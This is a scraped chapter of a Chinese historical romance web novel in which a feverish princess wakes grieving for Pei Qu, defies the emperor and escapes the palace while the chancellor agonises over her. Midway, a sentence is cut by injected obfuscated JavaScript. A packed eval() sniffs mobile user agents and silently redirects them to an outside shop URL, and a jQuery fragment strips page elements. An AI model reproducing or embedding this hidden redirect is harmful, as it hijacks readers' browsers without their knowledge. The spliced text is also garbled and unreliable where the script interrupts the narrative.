姜清虞发觉自己正站在一片雾蒙蒙的地方,她有些好奇的左右打量,却什么都无法看清。
远处偶尔响起几声鸟叫,接着是树叶窸窸窣窣的声音。
试探性的向前走了两步,姜清虞拧起眉,心中的不安越来越大,总觉得自己是忘了什么。
直到她听见清晰的‘铛’的一声。
接着,刀剑穿透皮肉的声音刺破了姜清虞的耳膜,她回首,迷雾在她眼前逐渐散去,眼前是一片浓艳到让人窒息的红色。
她终于看清迷雾之后是什么了。
是裴曲。
她看见裴曲倒在了血泊当中,脑中响起阵阵嗡鸣。
“裴曲……”她先是低低叫了一声,跌跌撞撞跑向裴曲身边,呆愣了一会儿,接着尖声大叫起来,“裴曲!”
慢慢地趴伏在裴曲身边,姜清虞颤颤巍巍将头放在他的胸前,却没有听见半分心跳声。
“裴曲……”
她低低的哀鸣着,脑中在不停的循环自己最后看见他的那一幕。
在姜清虞的呼喊声中,裴曲终于睁开了眼,他将沾满了血迹的手轻轻搭在她的头上。
“我在,我在……”
裴曲的声音越来越低,在姜清虞惊恐的目光下,逐渐彻底没了声音。
-
“裴曲,裴曲。”
姜清虞口中不断呢喃着,大滴的汗珠顺着脸颊滑下,流进了两鬓中。
模糊见,她似乎听见有人在叫她,那声音自远处传来,传进她的耳中。
“阿清。”
“阿清,醒醒。”
好熟悉的声音,但因为太久没回京城了,再加上脑中实在混沌,一时之间她竟不知是谁在叫她。
眼皮好像被什么东西紧紧粘在了一起,她急促地呼吸着,拼命想睁开双眼,就连双手也开始无意识的挣扎起来。
“裴曲!”
姜清虞猛地睁眼,大口吐出胸腔中的浊气。
直愣愣的望着床顶好一会儿,眼珠才微微动了动。
“二哥……”
隔着眼前朦胧的水光,姜清虞终于看清了坐在床头一直在唤着她的男人是谁。
是她的二堂哥,也是当今圣上,姜翎。
“嗯。”
皇帝见她醒了,那颗悬着的心总算是放了下来。
他从怀中抽出巾帕,想帮她细细擦去眼角溢出的那滴泪珠,姜清虞却下意识一偏头,躲了开来。
皇帝悬在空中的手一滞,尴尬的氛围笼罩在两人之间,最后皇帝还是当作什么都没发生一半收回了手。
“我去叫太医过来,你就好好躺着,别乱动。”
眼见皇帝要走,姜清虞顿时挣扎着想起身,被皇帝一把按住。
“做什么!”
这话一出口,皇帝自觉口气过于重了,于是又缓了几分语气:“不是让你别乱动好好休息吗,乖一点。”
姜清虞却没空听皇帝说这话,她也顾不上两人之间什么尴尬的气氛了,连忙拉住皇帝的衣袖。
“裴曲,裴曲救下来了吗?裴曲呢?”
她如今说一句话就要喘好几口气,听得皇帝心疼不已,但他却不敢轻易回答这个问题。
他斟酌着字句,谨慎开口:“他现在在安王府,你的伤势过重,还中了毒,我让人将你先带到皇宫了,待你身体里的毒清得差不多了再送你回去。”
听见裴曲就在安王府中,姜清虞稍稍松了一口气。
但她心中那根弦依旧紧紧绷着,不安感仍未消散,甚至一想到自己梦中的那幅场景,仍旧感到心悸,只想亲眼见到裴曲才能完全安抚住她焦虑的心情。
“我的身体没什么问题了,我想去见裴曲。”她迫不及待道。
皇帝听见这话,看着她酡红的脸颊和额头上细密的汗珠,拧紧眉头,并不依她。
“让太医看过再说。”
话毕,也不敢在这里和姜清虞多说话,一步作两步离开了这里。
太医很快就被叫了进来,他仔仔细细将姜清虞检查了一番,这才转身对着一直站在他身后的皇帝道:“回禀陛下,郡主余毒已清。”
他抬头看了一眼皇帝脸色,很快继续道:“但郡主如今身上依旧还有高热,必须在宫中好生调养,否则还是可能会影响郡主的身子。”
皇帝:“听见没?好好在宫中休养,别想东想西。”
“我想回家!在家里也可以养病,我要去见裴曲!”
纵使已经没了力气,姜清虞仍在扯着个破锣嗓子大声嚷嚷,嚷到最后,发出几声嘶声的闷咳。
眼见这人魔王本性又开始暴露了,皇帝呼出一口气,并不依她。
“你可知你昏了多少天,整整五天!这五天里多少人在担心你。”
话说到这里,皇帝也不再给姜清虞反驳的机会,直接开口阻断了她的话:“行了,我已经同你父亲商量过了,那你就留在这儿好好养病,等好的差不多了在回去。”
姜清虞被气得胸闷,三年前那般憋闷的感觉又涌了上来,但面前的人已经不是曾经的宠着她任她骄纵的二皇子,而是龙椅上的九五至尊。
“知道了。”
皇帝垂眼看着满脸不服气的妹妹,叹口气:“你听话,好好养病,便能早日回去。”
姜清虞看着皇帝匆忙离开的背影,一口气差点提不上来。
“郡主,”一旁的宫女小声道,“您还发着烧呢,躺下来休息一会儿吧。”
姜清虞没搭理她,她现在发着烧,头晕眼花,也没有多余的力气去搭理旁人。
宫女继续劝道:“陛下很担心郡主的,还有安王和王妃,王妃这几日经常进宫来看您……”
“我娘?”
没等宫女说完,姜清虞就打断了她的话:“她今日还会过来吗?”
“王妃?她今晨就过来了,但在这儿呆了一会儿就被太后叫走了。”
姜清虞哦了一声,点点头,脑海中心思翻腾。
“我有些累了,要好好睡会儿,所有人都先出去吧,我不习惯休息时房中有人。”
原本还守在房中的人尽数退了出去,只有那个小宫女还在原处。
“我的话很难懂?”姜清虞歪头看着她。
宫女满脸为难:“陛下让我看着您……”
姜清虞正要动怒,她的肚子适时发出了两声咕噜声。
她愣了一瞬,眯眼看着脸上带着些惊慌的宫女,突然笑了:“我有些饿了,让御膳房去给我做些吃的来。”
宫女赶忙应是,正准备退下去让门外其他人去御膳房说一声,就听见姜清虞慢悠悠补充道:“你去看着他们做完再给我端过来。”
宫女顿住,转身无措地看着姜清虞,只看见她依旧对自己貌似和善的笑着。
“去吧,嗯?”
宫女最终只能垂眸应是,低头退了出去。
姜清虞探头发现屋中再没了第二人,立刻起床,三步做两步跨步迈到门边,砰的一声关上了房门。
门外立刻响起急促的敲门声,姜清虞大声道:“都别进来,我就想好好睡一觉,你们少进房中吵我。”
说到最后,她喉咙又开始有些痒了,咳了好几声才好。
门外敲门的几人听见她的干咳声,立刻停了下来,不敢再发出什么大动
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17813574|210963||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
静。
“郡主,我再让御膳房去给您煮一碗雪梨银耳羹,您先好好歇着。”
-
皇帝刚踏出房门,随身太监便赶忙走上前:“陛下,姬大人来了,正在御书房候着。”
安王肯放心将女儿放在皇宫疗伤除了宫中太医医术高明,还有一个便是姬睢不能轻易踏入后宫。
自从看见女儿昏迷着被姬睢抱下马车,他更是恨不得时时刻刻派人去盯着他,不让他靠近半步自家女儿。
姬睢无法,只能三天两头跑到宫中去问皇帝姜清虞的近况。
皇帝刚踏进御书房就看见一脸焦急的姬睢。
“阿清已经醒了,太医方才说了,体内余毒已清,只需要好生调养便好。”
姬睢悬了五天的心终于放下,但手仍抖得厉害,腿也阵阵发软,皇帝一手扶住他的肩膀,斜眼撇着在一旁的小太监:“将丞相扶过去坐下。”
等到姬睢缓过劲来,皇帝才接着道:“裴曲的事,你要怎么和她说?”
姬睢的人赶过去救人的时候,裴曲只吊着最后一口气。
等到他们将那些刺客全部抓获,裴曲撑着最后一口气拉着姬睢手下人的衣袖,挣扎着问他们姜清虞的情况。
在得知姜清虞已经被姬睢带回城后,梗在胸前苦苦支撑他的那口气也算是终于散了。
姬睢在看见手下人带回裴曲尸体的时候,说不清自己到底是庆幸还是悲哀。
庆幸的是自己终于有机会重新站在姜清虞眼前,悲哀的是姜清虞恐怕永远也忘不掉裴曲了。
姬睢:“我不知道该怎么说,我怕她怪我没救下裴曲,更加恨我。”
裴曲的尸身如今还在安王府中没有下葬,再姜清虞不知道的情况下,没有人敢轻易给裴曲下葬。
但他们又希望能拖一点时间,让姜清虞能晚一点,再晚一点知道。
皇帝:“拖不了太久,她总会知道的。”
“我知道,我知道,我知道。”
姬睢神经质地拨弄着自己的手指,嘴中不断重复着这三个字。
“她要是更恨我了怎么办,我好不容易才重新见到她的,我不能让她更恨我,我不能让她更恨我。”
皇帝静静看着姬睢越来越泛白的指节,心中也不知该如何评价这段孽缘。
这两人很早之前明明是京中人最看好的一对,可阴差阳错,两人的关系偏偏变成了这副样子。
“我真的,我这些年想了无数遍,如果当时出现分歧时我没有擅作主张替她做决定,如果我后来没有试图监禁阿清,她会不会就不会这么狠心。”
姬睢表情太过颓丧,皇帝能安慰他的只有:“她也记恨着我呢,方才醒来了还不怎么愿意搭理我。”
姬睢淡淡瞥他一眼,不说话。
皇帝刚准备再说几句,就听见门外响起一阵嘈杂的声音。
“陛下,陛下!”门外的小宫女连滚带爬的进来,皇帝止住了话头,拧头看向门外。
“奴才们刚刚去房中想给郡主送吃食,却发现郡主不见了!”
皇帝和姬睢两人猛地站起。
“她怎么走的?”皇帝的声音骤然冷了下来,“那么多人守着一个高烧未退的人,居然还能让她给溜了!”
宫女抖如筛糠:“郡,郡主说想休息,不许人在房中伺候,奴才们便守在门外……”
没等宫女说完,姬睢便一言不发直接走出门外。
“姬睢!你要去哪里!那可是后宫你不能进去!给朕站住!”
皇帝下意识跟着姬睢走了几步,眼见着他一副魔怔的样子,立刻开口道:“还不将丞相拦下来!”